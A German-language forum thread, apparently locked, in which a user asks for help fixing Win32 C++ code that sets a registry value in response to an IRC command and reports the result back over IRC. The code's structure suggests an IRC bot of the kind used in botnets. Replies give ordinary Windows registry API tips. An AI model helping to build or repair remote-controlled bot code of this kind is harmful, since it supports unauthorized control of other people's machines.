RegSetValueEx hilfe!

pking

Gesperrt
if .. bla hier oben wird es gesetzt über IRC (ich habe den ganzen code)..


#ifdef WIN32


HKEY hkey=NULL;
DWORD dwSize=128;
unsigned char szDataBuf[128];

dwSize = 128; LONG lRet = RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\bla\\blu\\blib", 0, KEY_READ, &hkey);
if(RegSetValueEx(hkey, "LastContentProviderURL(z.B hier sollte es reingesetzt werden!", NULL, NULL, szDataBuf, dwSize)== ERROR_SUCCESS)
// Zu den Zeilen irgendetwas stimmt da nicht! HELP 8)



// hier wird es zum irc gesendet (code hab ich schon)

RegCloseKey(hkey); // schliesen der regedit

#endif // WIN32
 
Zuletzt bearbeitet:
Wenn ich das richtig sehe öffnest du den Key mit KEY_READ, willst aber einen Wert schreiben. D.h. du müsstest KEY_WRITE benutzen ...

so long
Shaijan
 
#ifdef WIN32

HKEY hkey=NULL;
DWORD dwSize=128;
unsigned char szDataBuf[128];

dwSize = 128; LONG lRet = RegOpenKeyEx(HKEY_CURRENT_USER, "pfad\\pfad\\pfad", 0, KEY_WRITE, &hkey);
if(RegSetValueEx(hkey, "Karteikarte", NULL, NULL, szDataBuf, dwSize)== ERROR_SUCCESS)



#endif // WIN32
}


Geht leider auch nicht da is irgendwo der wurm nur wo? :?
 
if(!pMsg->sCmd.Compare("blablabalaba"))
{

#ifdef WIN32

HKEY hkey=NULL;
DWORD dwSize=128;
unsigned char szDataBuf[128];

dwSize = 128; LONG lRet = RegOpenKeyEx(HKEY_CURRENT_USER, "pfad\\pfad\\pfad", 0, KEY_WRITE, &hkey);
if(RegSetValueEx(hkey, "pfadwirthiergesetzt", NULL, NULL, szDataBuf, dwSize)== ERROR_SUCCESS)

g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), \
"fafafafafafafafafaf msg zu irc (%s).", szDataBuf);
RegCloseKey(hkey);

#endif // WIN32
}


return true;

}


Hier is der ganze code
 
Zwei Sachen könntest du ausprobieren:

1. KEY_ALL_ACCESS statt KEY_WRITE oder KEY_READ
2. statt RegOpenKeyEx vielleicht mit RegCreateKeyEx versuchen...

Mehr fällt mir dazu auch nicht ein...

Greets
BadMourning
 
Zurück